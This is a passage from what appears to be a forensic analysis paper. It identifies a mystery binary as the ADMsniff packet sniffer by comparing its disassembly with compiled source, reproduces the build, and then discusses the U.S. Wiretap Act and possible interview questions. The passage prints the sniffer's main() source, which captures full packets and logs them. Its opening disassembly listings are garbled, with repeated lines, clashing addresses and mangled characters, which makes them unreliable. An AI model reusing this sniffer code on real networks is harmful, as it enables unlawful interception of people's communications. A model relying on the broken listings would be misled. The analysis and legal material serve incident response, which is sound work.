8048cb3:       83 ec 04       sub       \$0x4, %esp         8048cb6:       8b 45 f4       mov       0xfffffff4(%ebp), %eax         8048cb9:       89 c0       mov       %eax, %eax         8048cbb:       8d 14 85 00 00 00 00       lea       0x0(, %eax, 4), %edx         8048ccb:       8d 14 85 00 00 00 00       lea       0x0(, %eax, 4), %edx         8048cc2:       b8 00 77 0a 08       mov       \$0x80a7700, %eax         8048cc2:       b8 04 02       mov       (%edx, %eax, 1), %eax         8048cca:       83 c0 10       add       \$0x10, %eax         8048ccd:       83 ec 08       sub       \$0x8, %esp         8048ccd:       83 ec 08       sub       \$0x8, %esp         8048cd0:       50       push       %eax         8048cd1:       e8 86 a3 00 00       call       805305c <strlen>         8048cd2:       89 c0       mov       %eax, %eax         8048cd5:       89 c2       mov       %eax, %eax         8048cd2:       29 d0       sub       %edx, %eax         8048ce5:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp), %eax         8048ce6:       50       push       %eax         8048ce6:       8b 45 f</strlen>	8048cab:	e8	50	f5	ff	ff			call	8048200 <goodstr></goodstr>
8048cb6:       8b 45 f4       mov       0xfffffff4(%ebp),%eax         8048cb9:       89 c0       mov       %eax,%eax         8048cbb:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048cc2:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048cc2:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048cc2:       b8 04 02       mov       (%edx,%eax,1),%eax         8048cc3:       83 c0 10       add       \$0x10,%eax         8048cc4:       83 ec 08       sub       \$0x8,%esp         8048cd1:       e8 86 a3 00 00       call       805305c <strlen>         8048cd2:       89 c0       mov       %eax,%eax         8048cd2:       89 c0       mov       %eax,%eax         8048cd2:       89 c0       mov       %eax,%eax         8048cd2:       89 c2       mov       %eax,%eax         8048cd2:       29 d0       sub       %edx,%eax         8048ce4:       50       push       %eax         8048ce5:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048ce6:       50       push       %eax         8048ce6:       50       push       %ea</strlen>	8048cb0:	83	c4	10					add	\$0x10,%esp
8048cb9:       89 c0       mov       %eax,%eax         8048cbb:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048cc2:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048cc2:       b8 04 02       mov       (%edx,%eax,1),%eax         8048cc2:       a3 c0 10       add       \$0x10,%eax         8048cc1:       83 cc 08       sub       \$0x8,%esp         8048cc2:       c08       sub       \$0x8,%esp         8048cd1:       e8 86 a3 00 00       call       805305c <strlen>         8048cd6:       83 c4 0c       add       \$0xc,%esp         8048cd2:       89 c2       mov       %eax,%eax         8048cd2:       29 d0       mov       \$eax         8048ce5:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048ce5:       8d 85 98 e0 ff ff       lea       0xffffffff4(%ebp),%eax         8048ce6:       50       push       %eax         8048ce6:       89 c0       mov       %eax         8048ce5:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048ce6:       50       push       %eax         8048ce6:       89 c0       mov</strlen>	8048cb3:	83	ес	04					sub	\$0x4,%esp
8048cb9:       89 c0       mov       %eax,%eax         8048cbb:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048cc2:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048cc2:       b8 04 02       mov       (%edx,%eax,1),%eax         8048cc2:       a3 c0 10       add       \$0x10,%eax         8048cc1:       83 cc 08       sub       \$0x8,%esp         8048cc2:       c08       sub       \$0x8,%esp         8048cd1:       e8 86 a3 00 00       call       805305c <strlen>         8048cd6:       83 c4 0c       add       \$0xc,%esp         8048cd2:       89 c2       mov       %eax,%eax         8048cd2:       29 d0       mov       \$eax         8048ce5:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048ce5:       8d 85 98 e0 ff ff       lea       0xffffffff4(%ebp),%eax         8048ce6:       50       push       %eax         8048ce6:       89 c0       mov       %eax         8048ce5:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048ce6:       50       push       %eax         8048ce6:       89 c0       mov</strlen>	8048cb6:	8b	45	f4						-
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8048cc2:       b8 00 77 0a 08       mov       \$0x80a7700, %eax         8048cc7:       8b 04 02       mov       (%edx, %eax, 1), %eax         8048cca:       83 c0 10       add       \$0x10, %eax         8048ccd:       83 ec 08       sub       \$0x8, %esp         8048cd0:       50       push       %eax         8048cd1:       e8 86 a3 00 00       call       805305c <strlen>         8048cd6:       83 c4 0c       add       \$0xc, %esp         8048cd9:       89 c0       mov       %eax, %eax         8048cd2:       89 c2       mov       %eax, %edx         8048cd2:       29 d0       sub       %edx, %eax         8048ce4:       50       push       %eax         8048ce5:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp), %eax         8048ce6:       8b 45 f4       mov       0xffffff4(%ebp), %eax         8048ce1:       89 c0       mov       %eax, %eax         8048ce1:       8b 45 f4       mov       0xffffff4(%ebp), %eax         8048ce1:       89 c0       mov       %eax, %eax         8048ce1:       80 00 00 00 00       lea       0x0(, %eax, 4), %edx         8048cef1:       80 14 85 00 00 00 00</strlen>		8d	14	85	00	00	00	00		
8048cc7:       8b 04 02       mov       (%edx,%eax,1),%eax         8048cca:       83 c0 10       add       \$0x10,%eax         8048ccd:       83 ec 08       sub       \$0x8,%esp         8048cd0:       50       push       %eax         8048cd1:       e8 86 a3 00 00       call       805305c <strlen>         8048cd6:       83 c4 0c       add       \$0xc,%esp         8048cd9:       89 c0       mov       %eax,%eax         8048cd1:       b8 aa 0f 00 00       mov       \$0xfaa,%eax         8048cd2:       29 d0       sub       %edx,%eax         8048ce4:       50       push       %eax         8048ce5:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048ce6:       50       push       %eax         8048ce6:       80       mov       0xfffff14(%ebp),%eax         8048ce6:       80       mov       0xffffff4(%ebp),%eax         8048ce6:       89 c0       mov       %eax,%eax         8048ce6:       80 c0       mov       %eax,%eax         8048ce6:       89 c0       mov       %eax,%eax         8048ce6:       80 c0       mov       %eax,%eax         80</strlen>										
8048cca:       83 c0 10       add       \$0x10, %eax         8048ccd:       83 ec 08       sub       \$0x8, %esp         8048cd0:       50       push       %eax         8048cd1:       e8 86 a3 00 00       call       805305c <strlen>         8048cd2:       83 c4 0c       add       \$0xc, %esp         8048cd2:       89 c0       mov       %eax, %eax         8048cd2:       89 c0       mov       %eax, %edx         8048cd2:       89 c2       mov       %eax, %edx         8048cd2:       29 d0       sub       %edx, %eax         8048ce4:       50       push       %eax         8048ce5:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp), %eax         8048ce5:       8b 45 f4       mov       0xffffff4(%ebp), %eax         8048cef:       89 c0       mov       %eax, %eax         8048cef1:       8d 14 85 00 00 00 00       lea       0x0(, %eax, 4), %edx         8048cf8:       b8 00 77 0a 08       mov       \$0x80a7700, %ea</strlen>										
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8048cd6:       83 c4 0c       add       \$0xc, %esp         8048cd9:       89 c0       mov       %eax, %eax         8048cdb:       89 c2       mov       %eax, %edx         8048cdd:       b8 aa 0f 00 00       mov       \$0xfaa, %eax         8048ce2:       29 d0       sub       %edx, %eax         8048ce4:       50       push       %eax         8048ce5:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp), %eax         8048ce6:       50       push       %eax         8048ce6:       8b 45 f4       mov       0xffffff4(%ebp), %eax         8048cef:       89 c0       mov       %eax, %eax         8048cef:       80 c0       mov       %eax, %eax         8048cef1:       8d 14 85 00 00 00 00       lea       0x0(, %eax, 4), %edx         8048cf8:       b8 00 77 0a 08       mov       \$0x80a7700, %eax			86	аR	00	00			-	
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8048cdd:       b8 aa 0f 00 00       mov       \$0xfaa,%eax         8048ce2:       29 d0       sub       %edx,%eax         8048ce4:       50       push       %eax         8048ce5:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048ceb:       50       push       %eax         8048cec:       8b 45 f4       mov       0xffffff4(%ebp),%eax         8048cef:       89 c0       mov       %eax,%eax         8048cf1:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048cf8:       b8 00 77 0a 08       mov       \$0x80a7700,%eax										
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8048ceb:       50       push       %eax         8048cec:       8b 45 f4       mov       0xfffffff4(%ebp),%eax         8048cef:       89 c0       mov       %eax,%eax         8048cf1:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048cf8:       b8 00 77 0a 08       mov       \$0x80a7700,%eax			0 -	0.0	~	<b>c c</b>				
8048cec:       8b       45       f4       mov       0xfffffff4(%ebp),%eax         8048cef:       89       c0       mov       %eax,%eax         8048cf1:       8d       14       85       00       00       lea       0x0(,%eax,4),%edx         8048cf8:       b8       00       77       0a       08       mov       \$0x80a7700,%eax			85	98	e0	ff	ff			_
8048cef:       89 c0       mov       %eax,%eax         8048cf1:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048cf8:       b8 00 77 0a 08       mov       \$0x80a7700,%eax									-	
8048cf1:8d 14 85 00 00 00 00lea0x0(,%eax,4),%edx8048cf8:b8 00 77 0a 08mov\$0x80a7700,%eax				f4					mov	
8048cf8: b8 00 77 0a 08 mov <b>\$0x80a7700</b> ,%eax									mov	
	8048cf1:						00	00	lea	
8048cfd: 8b 04 02 mov (%edx,%eax,1),%eax	8048cf8:	b8	00	77	0a	08			mov	
	8048cfd:	8b	04	02					mov	(%edx,%eax,1),%eax

8048d00:	83 c0 10	add \$0x10,%eax
8048d03:	50	push %eax
8048d04:	e8 73 a3 00 00	call 805307c <strncat></strncat>
8048d09:	83 c4 10	add \$0x10,%esp
8048d0c:	al c0 b5 0a 08	mov <b>0x80ab5c0</b> , %eax
8048d11:	8a 40 0d	mov Oxd(%eax),%al
8048d14:	83 e0 04	and \$0x4,%eax
8048d17:	84 c0	test %al,%al
8048d19:	75 11	jne 8048d2c <log+0x30c></log+0x30c>
8048d1b:	al c0 b5 0a 08	mov <b>0x80ab5c0</b> ,%eax
8048d20:	8a 40 0d	<pre>mov 0xd(%eax),%al</pre>
8048d23:	83 e0 01	and \$0x1,%eax
8048d26:	84 c0	test %al,%al
8048d28:	75 02	jne 8048d2c <log+0x30c></log+0x30c>
8048d2a:	eb 14	jmp 8048d40 <log+0x320></log+0x320>
8048d2c:	83 ec 08	sub \$0x8,%esp
8048d2f:	6a 01	push \$0x1
8048d31:	ff 75 f4	<pre>pushl 0xfffffff4(%ebp)</pre>
8048d34:	e8 4f f5 ff ff	call 8048288 <flushstruct></flushstruct>
8048d39:	83 c4 10	add \$0x10,%esp
8048d3c:	eb 12	jmp 💦 8048d50 <log+0x330></log+0x330>
8048d3e:	89 f6	mov %esi,%esi
8048d40:	83 ec 08	sub \$0x8,%esp
8048d43:	6a 00	push \$0x0
8048d45:	ff 75 f4	<pre>pushl 0xfffffff(%ebp)</pre>
8048d48:	e8 3b f5 ff ff	call 8048288 <flushstruct></flushstruct>
8048d4d:	83 c4 10	add \$0x10,%esp
8048d50:	83 ec Oc	sub \$0xc,%esp
8048d53:	ff 35 b4 b5 0a 08	pushl 0x80ab5b4
8048d59:	e8 f2 1b 00 00	call 804a950 <_IO_fflush>
8048d5e:	83 c4 10	add \$0x10,%esp
8048d61:	b8 01 00 00 00	mov \$0x1,%eax
8048d66:	8d 65 f8	<pre>lea 0xffffff8(%ebp),%esp</pre>
8048d69:	5b	pop %ebx
8048d6a:	5e	pop %esi
8048d6b:	5d	pop %ebp
8048d6c:	c3	ret
8048d6d:	8d 76 00	lea 0x0(%esi),%esi

This routine uses many of the global variables in this program, so there are quite a few new addresses here that we have not seen before. Hoewever, all of the addresses (representing the variables LOG, buf, ETHHDRSIZE, ip, tcp, logname, tmp, sip, dip, coolport, sport, dport, data, and len, see the source code) differ between the two binaries by the same 0x6c0 that we have seen before. The only new library routine called from this routine is strncat whose address differs by four between the binaries.

The last routine to examine is main.

```
int
main (argc, argv)
    int argc;
    char **argv;
```

```
char ebuf[255];
int i;
if (argc < 2)
 {
   printf ("ADMsniff %s <device> [HEADERSIZE] [DEBUG] \n", VERSION);
   printf ("ex : admsniff le0\n");
    printf (" ...ooOO The ADM Crew OOoo.. \n");
    exit (ERROR);
  }
for (i = 0; i < 4012; i++)
 theipz[i] = NULL;
pcap d = pcap open live (argv[1], 8024, 1, 1000, ebuf)
if (pcap d == NULL)
   printf ("cant open pcap device :<\n");</pre>
   return (-1);
  }
switch (pcap datalink (pcap d))
  {
  case DLT NULL:
   ETHHDRSIZE = 4;
   break;
  case DLT EN10MB:
  case DLT EN3MB:
   ETHHDRSIZE = 14;
   break;
  case DLT PPP:
   ETHHDRSIZE = 4;
   break;
  case DLT SLIP:
   ETHHDRSIZE = 16;
   break;
  case DLT FDDI:
   ETHHDRSIZE = 21;
   break;
  case DLT RAW:
   ETHHDRSIZE = 0;
   break;
  default:
    fprintf (stderr, "init pcap : Unknown device type!\n");
    return (-1);
printf ("ADMsniff %s in libpcap we trust !\n", VERSION);
printf ("credits: ADM, mel , ^pretty^ for the mail she sent me\n");
filez = fopen ("The l0gz", "w");
while (1)
  {
   buf = (u char *) pcap next (pcap d, &h);
    fflush (stdout);
    if ((h.len - ETHHDRSIZE) >= IPHDRSIZE && buf != NULL)
     Log ();
  }
return (0);
```

08048d70 <main></main>	:	6. •
8048d70:	55	push %ebp
8048d71:	89 e5	mov %esp,%ebp
8048d73:	81 ec 18 01 00 00	sub \$0x118,%esp
8048d79:	83 7d 08 01	cmpl \$0x1,0x8(%ebp)
8048d7d:	7f 41	jg 8048dc0 <main+0x50></main+0x50>
8048d7f:	83 ec 08	sub \$0x8,%esp
8048d82:	68 40 09 09 08	push <b>\$0x8090940</b>
8048d87:	68 60 09 09 08	push <b>\$0x8090960</b>
8048d8c:	e8 2f 1a 00 00	call 804a7c0 < IO printf>
8048d91:	83 c4 10	add \$0x10,%esp
8048d94:	83 ec 0c	sub \$0xc, %esp
8048d97:	68 8c 09 09 08	push <b>\$0x809098c</b>
8048d9c:	e8 1f 1a 00 00	call 804a7c0 < IO printf>
8048da1:	83 c4 10	add \$0x10,%esp
8048da4:	83 ec 0c	sub \$0xc, %esp
8048da7:	68 al 09 09 08	push <b>\$0x80909a1</b>
8048dac:	e8 Of 1a 00 00	call 804a7c0 < IO printf>
8048db1:	83 c4 10	add \$0x10,%esp
8048db4:	83 ec 0c	sub \$0xc, %esp
8048db7:	6a ff	push \$0xfffffff
8048db9:	e8 ee 17 00 00	call 804a5ac <exit></exit>
8048dbe:	89 f6	mov %esi,%esi
8048dc0:	90	nop
8048dc1:	c7 85 f4 fe ff ff 00	movl \$0x0,0xfffffef4(%ebp)
8048dc8:	00 00 00	
8048dcb:	90	nop
8048dcc:	81 bd f4 fe ff ff ab	cmpl \$0xfab,0xfffffef4(%ebp)
8048dd3:	0f 00 00	
8048dd6:	7e 04	jle 8048ddc <main+0x6c></main+0x6c>
8048dd8:	eb 2a	jmp 8048e04 <main+0x002< td=""></main+0x002<>
8048dda:	89 f6	mov %esi,%esi
8048ddc:	8b 85 f4 fe ff ff	mov Oxfffffef4(%ebp),%eax
8048de2:	89 c0	mov %eax,%eax
8048de4:	8d 14 85 00 00 00 00	lea 0x0(,%eax,4),%edx
8048deb:	b8 00 77 0a 08	mov <b>\$0x80a7700</b> , %eax
8048df0:	c7 04 02 00 00 00 00	movl \$0x0, (%edx, %eax, 1)
8048df7:	8d 85 f4 fe ff ff	lea 0xfffffef4(%ebp),%eax
8048dfd:	ff 00	incl (%eax)
8048dff:	eb cb	jmp 8048dcc <main+0x5c></main+0x5c>
8048e01:	8d 76 00	lea 0x0(%esi),%esi
8048e04:	83 ec 0c	sub \$0xc,%esp
8048e07:	83 eC 0C 8d 85 f8 fe ff ff	lea 0xfffffef8(%ebp),%eax
8048e0d:	50 55 16 16 11 11	push %eax
8048e0e:	68 e8 03 00 00	push \$0x3e8
8048e13:	6a 01	push \$0x1
8048e15:	68 58 1f 00 00	push \$0x1f58
8048e1a:	88 58 11 00 00 8b 45 0c	mov 0xc(%ebp),%eax
	80 45 0C 83 c0 04	
8048e1d:		add \$0x4,%eax
8048e20:	ff 30	pushl (%eax)
8048e22:	e8 e9 02 00 00	call 8049110 <pcap_open_live></pcap_open_live>
8048e27:	83 c4 20	add \$0x20,%esp

As with some of the earlier routines, we have cut the above down, eliminating blank lines and the portions of the #ifndefs that did not apply to our build. This gives us the following object code.

8048e2a:	23	b0	Ъ5	0a	00			mo17	°004 0.000 b 5 b 0
8048e2f:				b5		<u> </u>	0.0	mov cmpl	%eax, <b>0x80ab5b0</b> \$0x0 <b>,0x80ab5b0</b>
8048e36:	75		00	00	Ua	00	00	jne	8048e54 <main+0xe4></main+0xe4>
8048e38:	-	ec	00					sub	\$0xc, %esp
8048e3b:				09	00				\$0x80909bf
8048e40:				00				push call	804a7c0 < IO printf>
8048e45:		c4	-	00	00			add	\$0x10,%esp
8048e48:				ff	ff				\$0xffffffff,%eax
8048e4d:				00				mov	8048f84 <main+0x214></main+0x214>
8048e52:	e9 89		ÛŢ	00	00			jmp	%esi,%esi
		ec	0 ~					mov sub	\$0xc, %esp
8048e54: 8048e57:				b5	0	00			<b>0x80ab5b0</b>
8048e5d:				00		0.0		pushl call	804973c <pcap datalink=""></pcap>
8048e62:		c4		00	00			add	\$0x10, %esp
8048e65:				fe	ff	ff			<pre>%eax, 0xfffffef0 (%ebp)</pre>
8048e6b:				fe			0.0	mov cmpl	\$0xc, 0xfffffef0 (%ebp)
8048e72:	83 77		ΤU	те	ΤT	ΤT	00	-	8048ecc <main+0x15c></main+0x15c>
8048e74:			£∩	fe	ff	ff		ja mov	0xfffffef0(%ebp),%edx
8048e7a:				b0			00		<b>0x8090ab0</b> (,%edx,4),%eax
8048e81:	ff		95	00	Ua	09	00	mov	*%eax
8048e83:	90	eu						jmp	n oedx
8048e84:		~7	05	b8	<b>h</b> 5	0 -	00	nop movw	\$0x4 <b>,0x80ab5b8</b>
8048e8b:	04		05	00	DD	υa	00	IIIO V W	\$084 <b>,0800aD3D6</b>
8048e8d:	eb							imp	8048eec <main+0x17c></main+0x17c>
8048e8f:	90	Ju						jmp	8048666 < Main+0x1762
8048e90:		~7	05	b8	<b>h</b> 5	0 -	00	nop movw	\$0xe <b>,0x80ab5b8</b>
8048e97:	00 0e		05	00	DD	υa	00	IIIO V W	
8048e99:	eb							jmp	8048eec <main+0x17c></main+0x17c>
8048e9b:	90	JI						nop	SO4SEEC MIAINIOXI/C/
8048e9c:		<u> </u>	05	b8	h5	0 =	0.8	movw	\$0x4 <b>,0x80ab5b8</b>
8048ea3:	04		00	00	55	Vu	00		
8048ea5:	eb							jmp	8048eec <main+0x17c></main+0x17c>
8048ea7:	90	15						nop	ooqoeee (maintoxi/e)
8048ea8:		c7	05	b8	b5	0a	08	movw	\$0x10 <b>,0x80ab5b8</b>
8048eaf:	10		00	20	200	ou	00	1110 V W	V ON LO Y ONO CADODO
8048eb1:	eb							jmp	8048eec <main+0x17c></main+0x17c>
8048eb3:	90							nop	
8048eb4:		с7	05	b8	b5	0a	08	movw	\$0x15 <b>,0x80ab5b8</b>
8048ebb:	15		7						
8048ebd:	eb							jmp	8048eec <main+0x17c></main+0x17c>
8048ebf:	90	/						nop	
8048ec0:		c7	05	b8	b5	0a	08	movw	\$0x0 <b>,0x80ab5b8</b>
8048ec7:	00		-						
8048ec9:	eb							jmp	8048eec <main+0x17c></main+0x17c>
8048ecb:	90							nop	
8048ecc:		ec	08					sub	\$0x8,%esp
8048ecf:				09	08			push	\$0x80909e0
8048ed4:				4a		08		pushl	0x80a4aa8
8048eda:				00				call	804a7a4 <fprintf></fprintf>
8048edf:		c4						add	\$0x10,%esp
8048ee2:				ff	ff			mov	\$0xffffffff,%eax
8048ee7:				00				jmp	8048f84 <main+0x214></main+0x214>
8048eec:		ec						sub	\$0x8,%esp
8048eef:				09	08			push	\$0x8090940
8048ef4:				09				push	\$0x8090a20
8048ef9:				00				call	804a7c0 < IO printf>
8048efe:		c4						add	\$0x10,%esp
	-		-						· 1

8048f01:	83 ec 0c	sub \$0xc,%esp
8048f04:	68 60 0a 09 08	push \$0x8090a60
8048f09:	e8 b2 18 00 00	call 804a7c0 <_IO_printf>
8048f0e:	83 c4 10	add \$0x10,%esp
8048f11:	83 ec 08	sub \$0x8,%esp
8048f14:	68 97 0a 09 08	push <b>\$0x8090a97</b> 👝
8048f19:	68 99 0a 09 08	push <b>\$0x8090a99</b>
8048fle:	e8 f5 1a 00 00	call 804aa18 <_IO_new_fopen>
8048f23:	83 c4 10	add \$0x10,%esp
8048f26:	89 c0	mov %eax,%eax
8048f28:	a3 b4 b5 0a 08	mov %eax, <b>0x80ab5b4</b>
8048f2d:	8d 76 00	lea 0x0(%esi),%esi
8048f30:	83 ec 08	sub \$0x8,%esp
8048f33:	68 c8 b5 0a 08	push <b>\$0x80ab5c8</b>
8048f38:	ff 35 b0 b5 0a 08	pushl <b>0x80ab5b0</b>
8048f3e:	e8 c5 07 00 00	call 8049708 <pcap next=""></pcap>
8048f43:	83 c4 10	add \$0x10,%esp
8048f46:	a3 d8 b5 0a 08	mov %eax, <b>0x80ab5d8</b>
8048f4b:	83 ec Oc	sub \$0xc,%esp
8048f4e:	ff 35 a4 4a 0a 08	pushl <b>0x80a4aa4</b>
8048f54:	e8 f7 19 00 00	call 804a950 < IO fflush>
8048f59:	83 c4 10	add \$0x10,%esp
8048f5c:	0f b7 05 b8 b5 0a 08	movzwl <b>0x80ab5b8</b> ,%eax
8048f63:	8b 15 d4 b5 0a 08	mov <b>0x80ab5d4</b> , %edx
8048f69:	29 c2	sub %eax,%edx
8048f6b:	89 d0	mov %edx,%eax
8048f6d:	83 f8 13	cmp \$0x13,%eax
8048f70:	76 be	jbe 8048f30 <main+0x1c0></main+0x1c0>
8048f72:	83 3d d8 b5 0a 08 00	cmpl \$0x0,0x80ab5d8
8048f79:	74 b5	je 8048f30 <main+0x1c0></main+0x1c0>
8048f7b:	e8 a0 fa ff ff	call 8048a20 <log></log>
8048f80:	eb ae	jmp 8048f30 <main+0x1c0></main+0x1c0>
8048f82:	89 f6	mov %esi,%esi
8048f84:	с9	leave
8048f85:	c3	ret
8048f86:	89 f6	mov %esi,%esi
L		•

The new things of note in this routine are some routines from libpcap (pcap\_open\_live, pcap\_datalink, and pcap\_open), some different format strings for the printfs (all in the same range as noted before), and calls to exit and fopen. dress was able to match up all of these library routines.

We have now seen that the code from the mystery binary is functionally equivalent to that generated from the source code we downloaded, so we are confident in our identification of the mystery binary as ADMsniff. Given the similarities even in most of the libraries, we suspect that the binary may have been built on a machine running an unpatched Red Hat 7.2 install. We also still have some questions about that IP address we noted in the Forensic Details section. Our version does not show that IP address when we run strace on it (not shown here). To test this hypothesis, we found some Red Hat 7.2 CD-ROMs and created a stock Red Hat 7.2 virtual machine under VMWare. We then built (and stripped) the resulting

binary using the same steps described above. Below, we see size and hash info on the resulting binary.

```
root@achilles[507]$ ls -1 ADMsniff-1
-rwxr-xr-x 1 root root 399124 Jun 8 14:12 ADMsniff-1
root@achilles[508]$ ls -1 /tmp/sn.dat
-rw-r--r- 1 root root 399124 Apr 11 09:49 /tmp/sn.dat
root@achilles[509]$ md5sum ADMsniff-1
0e954f43fd73f56e812a7285f32e41d3 ADMsniff-1
root@achilles[510]$ cat /tmp/sn.md5
0e954f43fd73f56e812a7285f32e41d3 sn
```

Eureka! Here we see that we have, in fact, reproduced the exact conditions under which the mystery binary was built. This also answers one of our earlier questions, the IP address that we noted during the strace, was a red herring. The version we built also shows the same IP address, so we assume it must be an artifact on the stack that is being improperly interpreted by strace.

# Legal Implications

As mentioned above in the File Ownership section, it appears that the binary was moved from the victim machine to a Windows machine where it was zipped up and then sent on to us, so we have no way of actually verifying whether or not the binary was executed on the original victim machine. The existence of a file named The\_L0gz on the victim machine would be a clear indicator that the binary had been executed. We will proceed with this discussion on the assumption that it was executed. Further, from our experimentation earlier, it is clear that the binary captures the entire contents of the packets and not just the header information (source and destination addresses and ports). From the United States Department of Justice Search and Seizure Manual<sup>16</sup> (DOJSS), we see the following:

The Pen/Trap statute permits law enforcement to obtain the addressing information of Internet communications much as it would addressing information for traditional phone calls. However, reading the entire packet ordinarily implicates Title III. The primary difference between an Internet pen/trap device and an Internet Title III intercept device (sometimes known as a "sniffer") is that the former is programmed to capture and retain only addressing information, while the latter is programmed to capture and retain the entire packet.

This suggests that it is the "Wiretap Statute" or Title III (18 U.S.C. §§ 2510-2522) that applies in this case. According to 18 U.S.C. §2511(4)(a)<sup>17</sup>, criminal violation of the this statute by illegally intercepting wire communication can be fined and/or imprisoned for up to five years. The person or persons violating this statute may

<sup>&</sup>lt;sup>16</sup> http://www.usdoj.gov:80/criminal/cybercrime/s&smanual2002.pdf, pg. 112, paragraph 1

<sup>&</sup>lt;sup>17</sup> See <u>http://www.usdoj.gov:80/criminal/cybercrime/18usc2511.htm</u>

also be liable for civil penalties under 18 U.S.C.  $\S2520(c)(2)^{18}$ . The DOJ Search and Seizure Manual<sup>19</sup>, lists seven exceptions to Title III (each of which will be covered in detail in Part 3 – Legal Issues). None of these exceptions appear to apply here unless the person planting the mystery binary is the system administrator or can produce a court order.

# Interview Questions

This next section would seem to be irrelevant since it is based on a premise that we believe invalid. That is, it assumes that the person who planted the mystery binary would answer truthfully if caught and questioned. The questions below are premised on the assumption that we found  $The_10gz$  and on the victim system and thus determined (via MACTime analysis) the time when the binary was installed and executed.

- 1) Do you have root access to the victim machine? As noted above, this binary only works if run as root so that it can put the interface into promiscuous mode.
- 2) Do you have access to an Intel Red Hat 7.2 system?
- 3) Can you produce a court order authorizing you to monitor traffic on the victim network?
- 4) Are you the system or network administrator on the victim network?
- 5) Were you logged in to the victim system at the time the binary was installed and the time when it was executed? We would also attempt to correlate with data from wtmp and process accounting, if enabled.

# Additional References

- Ifstatus can be found at <u>http://www.cymru.com/Tools/ifstatus-4.0.tar.gz</u>
- The ADMsniff source can be found at <a href="http://www.freelsd/ADM/ADMsniff.tar.gz">http://www.freelsd/ADM/ADMsniff.tar.gz</a>
- Since completing this analysis, the results of the Honeynet Reverse Challenge have been released. The top submissions (we've only made it through the top 3 so far) are fascinating reads. <u>http://project.honeynet.org/reverse/</u>
- Fenris can be found at <a href="http://razor.bindview.com/Tools/fenris/">http://razor.bindview.com/Tools/fenris/</a>
- Michal Zalewski's list of other useful tools can be found at http://lcamtuf.coredump.cx/fenris/other.txt
- The Reverse Engineering Compiler is another fascinating tool for doing this sort of analysis, <u>http://www.backerstreet.com/rec/rec.htm</u>
- See Part 3 for more links to the law than most people would care to deal with.

<sup>&</sup>lt;sup>18</sup> See <u>http:// www4.law.cornell.edu/uscode/18/2520.html</u>

<sup>&</sup>lt;sup>19</sup> <u>http://www.usdoj.gov:80/criminal/cybercrime/s&smanual2002.pdf</u>, pp. 121-133

# Part 3 – Legal Issues of Incident Handling

# Wiretap Statute

In this section, we shall describe the Wiretap Act, also know as Title III of the Omnibus Crime and Control and Safe Streets Act of 1968 (or often more simply as just Title III) and is codified in 18 U.S.C. §§2510-2521<sup>20,21</sup>. When originally passed, this statute applied strictly to telephonic communication. In 1986, the Electronic Communications Privacy Act (or ECPA) (18 U.S.C. §§2501-2510) extended the provisions of the Wiretap Act to essentially any electronic communication that is intercepted contemporaneously with transmission. That is, Title III now applies to traffic sniffed off of the network, but does not apply to stored communication such as e-mail sitting on a server waiting for the intended recipient to run her/his e-mail software to read it. We shall return to this last issue later.

The Wiretap Act makes it illegal for anyone (law enforcement or any other third party) to install a sniffer (a device to capture network traffic in real-time) unless one of seven exceptions can be shown to apply. Those seven, as described in the July 2002 updated version of the United States Department of Justice Search and Seizure Manual<sup>22</sup> (DOJSS), are:

- A. Interception Authorized by Title III Order, 18 U.S.C. §2518.
- B. Consent of a Party to the Communication, 18 U.S.C. §2511(2)(c)-(d).
- C. The Provider Exception, 18 U.S.C. §2511(2)(a)(i).
- D. The Computer Trespasser Exception, 18 U.S.C. §2511(2)(i).
- E. The Extension Telephone Exception, 18 U.S.C. §2510(5)(a).
- F. Inadvertently Obtained Criminal Evidence Exception, 18 U.S.C. §2511(3)(b)(iv).
- G. Accessible to the Public Exception, 18 U.S.C. §2511(2)(g)(i).

We shall examine each of these exceptions in more detail below paying particular attention to how, if at all, this applies to the system administrator.

# Interception Authorized by Title III Order, 18 U.S.C. §2518.

This section allows law enforcement to intercept electronic communications if a court order is issued under this section. There are some relatively high hurdles that law enforcement must meet, however, before a Title III order is granted. The requirements are set forth in 18 U.S.C. §§2516-2518<sup>23</sup>. The most notable requirement is that law enforcement must show that "other investigative

<sup>&</sup>lt;sup>20</sup> http://www.usdoj.gov:80/criminal/cybercrime/usamay2001 2.htm

<sup>&</sup>lt;sup>21</sup> http://www.usdoj.gov:80/criminal/cybercrime/18usc2511.htm

<sup>&</sup>lt;sup>22</sup> http://www.usdoj.gov:80/criminal/cybercrime/s&smanual2002.pdf or

http://www.usdoj.gov:80/criminal/cybercrime/s&smanual.htm <sup>23</sup> http://www.law.cornell.edu/uscode/18/2516.html

procedures have been tried and failed or why they reasonably appear to be unlikely to succeed if tried or to be too dangerous" (18 U.S.C. 2518(1)(c))<sup>24</sup>. The Title III order can not be the first step in the investigation. Also, as noted below, a Title III order is only good for thirty days.

For the system administrator, the important thing to note is that if presented with a Title III order, interception (or sniffing) is permitted, but "shall be conducted in such a way as to minimize the interception of communications not otherwise subject to interception under this chapter, and must terminate upon attainment of the authorized objective, or in any event in thirty days" (18 U.S.C. §2518(5), italics added for emphasis). Those are two very important points that bear repeating. First, the interception must be as narrow as practicable. Second, once evidence of the crime has been attained the interception must be terminated.

#### Consent of a Party to the Communication, 18 U.S.C. §2511(2)(c)-(d).

